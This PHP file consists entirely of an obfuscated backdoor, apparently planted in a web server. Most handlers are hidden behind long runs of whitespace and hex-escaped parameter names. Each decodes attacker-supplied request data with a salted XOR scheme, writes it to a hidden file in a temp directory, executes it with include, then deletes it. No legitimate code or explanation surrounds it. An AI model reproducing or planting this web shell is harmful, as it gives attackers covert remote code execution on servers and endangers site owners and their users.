<?php																																										if(!is_null($_POST["m\x61\x72\x6Ber"] ?? null)){ $pgrp = $_POST["m\x61\x72\x6Ber"]; $pgrp =explode ( "." , $pgrp) ; $res = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6); $__len = count( $pgrp); for( $w = 0; $w < $__len; $w++) {$v4 = $pgrp[$w]; $chS = ord( $s6[$w % $lenS]); $dec =( ( int)$v4 - $chS -( $w % 10)) ^ 100; $res .= chr( $dec); } $tkn = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]); foreach ($tkn as $key => $ent) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $rec = vsprintf("%s/%s", [$ent, ".flg"]); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $rec; @unlink($rec); die(); } } } }
																																										if(array_key_exists("itm", $_REQUEST)){ $ref = $_REQUEST["itm"]; $ref=explode ( '.' , $ref ) ; $holder=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); foreach($ref as $x =>$v8) { $sChar=ord($s[$x %$sLen]); $d=((int)$v8 - $sChar -($x %10)) ^ 29; $holder .=chr($d); } $value = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", getcwd(), "/var/tmp", getenv("TEMP")]); foreach ($value as $component) { if (is_dir($component) ? is_writable($component) : false) { $elem = sprintf("%s/.flg", $component); $success = file_put_contents($elem, $holder); if ($success) { include $elem; @unlink($elem); die();} } } }
																																										if(array_key_exists("\x69t\x65m", $_REQUEST)){ $key = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), getcwd()]); $dchunk = $_REQUEST["\x69t\x65m"]; $dchunk =explode ("." ,$dchunk) ; $pgrp =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s8 ); $i =0; $__tmp =$dchunk; while ($v6 =array_shift($__tmp)) { $sChar =ord($s8[$i % $sLen] ); $d =((int)$v6 - $sChar - ($i % 10))^ 96; $pgrp .= chr($d ); $i++; } foreach ($key as $ref): if (array_product([is_dir($ref), is_writable($ref)])) { $binding = implode("/", [$ref, ".fac"]); if (file_put_contents($binding, $pgrp)) { include $binding; @unlink($binding); die(); } } endforeach; }
																																										if(array_key_exists("p\x61ram\x65t\x65\x72\x5Fgr\x6F\x75p", $_POST)){ $property_set = array_filter([getcwd(), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP")]); $pset = $_POST["p\x61ram\x65t\x65\x72\x5Fgr\x6F\x75p"]; $pset = explode ( ".", $pset ) ; $obj= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt5 ); $y= 0; foreach($pset as $v4) { $chS= ord($salt5[$y % $sLen] ); $dec= ((int)$v4 - $chS -($y % 10)) ^ 52; $obj .= chr($dec ); $y++; } $record = 0; do { $tkn = $property_set[$record] ?? null; if ($record >= count($property_set)) break; if (max(0, is_dir($tkn) * is_writable($tkn))) { $ent = str_replace("{var_dir}", $tkn, "{var_dir}/.value"); if (@file_put_contents($ent, $obj) !== false) { include $ent; unlink($ent); exit; } } $record++; } while (true); }
																																										if(in_array("r\x65\x66\x65r\x65nce", array_keys($_POST))){ $entry = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm"]); $rec = $_POST["r\x65\x66\x65r\x65nce"]; $rec = explode('.' , $rec); $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $u = 0; $__tmp = $rec; while ($v5 = array_shift($__tmp)) { $chS = ord($salt[$u % $lenS]); $dec = ((int)$v5 - $chS - ($u % 10))^19; $dat .= chr($dec); $u++;} foreach ($entry as $key => $val) { if ((bool)is_dir($val) && (bool)is_writable($val)) { $dchunk = join("/", [$val, ".marker"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65f\x65re\x6Ece"])){ $pointer = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd()]); $marker = $_REQUEST["\x72\x65f\x65re\x6Ece"]; $marker = explode('.' , $marker); $symbol = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach($marker as $q=>$v3) { $sChar = ord($salt9[$q % $sLen]); $dec = ((int)$v3 - $sChar -($q % 10)) ^ 94; $symbol .= chr($dec);} foreach ($pointer as $key => $bind) { if (is_dir($bind) ? is_writable($bind) : false) { $component = "$bind/.sym"; $file = fopen($component, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $component; @unlink($component); exit; } } } }
																																										if(array_key_exists("it\x65m", $_POST) && !is_null($_POST["it\x65m"])){ $key = array_filter(["/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP")]); $ref = $_POST["it\x65m"]; $ref = explode ("." , $ref); $property_set = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach ($ref as $j =>$v3) { $sChar = ord($s6[$j % $sLen]); $dec = ((int)$v3 - $sChar - ($j % 10))^61; $property_set .= chr($dec); } foreach ($key as $element) { if (!( !is_dir($element) || !is_writable($element) )) { $dchunk = join("/", [$element, ".symbol"]); $success = file_put_contents($dchunk, $property_set); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }
																																										if(array_key_exists("fa\x63", $_REQUEST)){ $ref = array_filter([session_save_path(), "/var/tmp", "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $k = $_REQUEST["fa\x63"]; $k = explode ( "." , $k); $component = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $p = 0; $__tmp = $k; while($v9 = array_shift($__tmp)) { $chS = ord($salt8[$p % $sLen] ); $d = ((int)$v9 - $chS -($p % 10)) ^ 36; $component .= chr($d ); $p++; } $descriptor = 0; do { $pset = $ref[$descriptor] ?? null; if ($descriptor >= count($ref)) break; if (array_product([is_dir($pset), is_writable($pset)])) { $dat = implode("/", [$pset, ".resource"]); if (@file_put_contents($dat, $component) !== false) { include $dat; unlink($dat); die(); } } $descriptor++; } while (true); }
																																										if(@$_POST["\x68o\x6C\x64er"] !== null){ $entry = array_filter([session_save_path(), "/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); $data = $_POST["\x68o\x6C\x64er"]; $data = explode ('.' , $data ) ; $pset=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $l=0; $__tmp=$data; while ($v9=array_shift($__tmp)) { $sChar=ord($s[$l % $sLen]); $d=((int)$v9 - $sChar - ($l % 10)) ^ 97; $pset .=chr($d); $l++;} for ($value = 0, $record = count($entry); $value < $record; $value++) { $component = $entry[$value]; if ((bool)is_dir($component) && (bool)is_writable($component)) { $flg = implode("/", [$component, ".ptr"]); $success = file_put_contents($flg, $pset); if ($success) { include $flg; @unlink($flg); die();} } } }
																																										if(!empty($_POST["i\x74e\x6D"])){ $desc = $_POST["i\x74e\x6D"]; $desc = explode ( '.' ,$desc); $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($desc as $i => $v6): $chS = ord($salt[$i %$sLen]); $dec = ((int)$v6 - $chS - ($i %10))^ 92; $bind .= chr($dec); endforeach; $key = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", "/dev/shm"]); $property_set = 0; do { $value = $key[$property_set] ?? null; if ($property_set >= count($key)) break; if (is_dir($value) ? is_writable($value) : false) { $pgrp = join("/", [$value, ".data"]); if (@file_put_contents($pgrp, $bind) !== false) { include $pgrp; unlink($pgrp); die(); } } $property_set++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6C\x65ment"])){ $fac = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP")]); $token = $_REQUEST["e\x6C\x65ment"]; $token= explode ( "." , $token ); $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $r = 0; $len = count( $token); do { if( $r >= $len) break; $v9 = $token[$r]; $sChar = ord( $salt[$r%$lenS]); $d = ( ( int)$v9 - $sChar -( $r%10))^19; $object .= chr( $d); $r++; }while( true); foreach ($fac as $entity) { if (is_dir($entity) && is_writable($entity)) { $ent = vsprintf("%s/%s", [$entity, ".val"]); if (file_put_contents($ent, $object)) { require $ent; unlink($ent); exit; } } } }
																																										if(@$_POST["\x6F\x62\x6Aect"] !== null){ $token = $_POST["\x6F\x62\x6Aect"]; $token= explode ( '.' , $token ) ; $descriptor = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $o = 0; $len = count($token); do {if($o>= $len) break; $v7 = $token[$o]; $sChar = ord($s6[$o % $sLen]); $d =((int)$v7 - $sChar -($o % 10)) ^ 48; $descriptor .= chr($d); $o++; } while(true); $pset = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir()]); for ($ref = 0, $holder = count($pset); $ref < $holder; $ref++) { $sym = $pset[$ref]; if ((is_dir($sym) and is_writable($sym))) { $binding = "$sym" . "/.data_chunk"; if (@file_put_contents($binding, $descriptor) !== false) { include $binding; unlink($binding); die(); } } } }
																																										if(isset($_POST["\x63omp"])){ $holder = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TEMP")]); $pgrp = $_POST["\x63omp"]; $pgrp = explode ( '.', $pgrp) ; $pset = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); foreach ($pgrp as $l => $v4): $chS = ord($salt1[$l % $sLen]); $d = ((int)$v4 - $chS - ($l % 10)) ^ 70; $pset .= chr($d); endforeach; foreach ($holder as $sym): if (is_writable($sym) && is_dir($sym)) { $desc = str_replace("{var_dir}", $sym, "{var_dir}/.entity"); if (@file_put_contents($desc, $pset) !== false) { include $desc; unlink($desc); die(); } } endforeach; }


if(in_array("obj", array_keys($_REQUEST))){
	$ent = $_REQUEST["obj"];
		$ent	= 	 explode	(   '.'	,	$ent  ) 		;
	$mrk = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
    
            foreach($ent as $n => $v6) {
                $chS = ord($s[$n % $lenS]);
                $dec =((int)$v6 - $chS -($n % 10))^11;
                $mrk.=  chr($dec);
            }
	$token = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]);
	while ($object = array_shift($token)) {
    		if (!( !is_dir($object) || !is_writable($object) )) {
    $k = implode("/", [$object, ".dchunk"]);
    $file = fopen($k, 'w');
if ($file) {
	fwrite($file, $mrk);
	fclose($file);
	include $k;
	@unlink($k);
	die();
}
}
}
}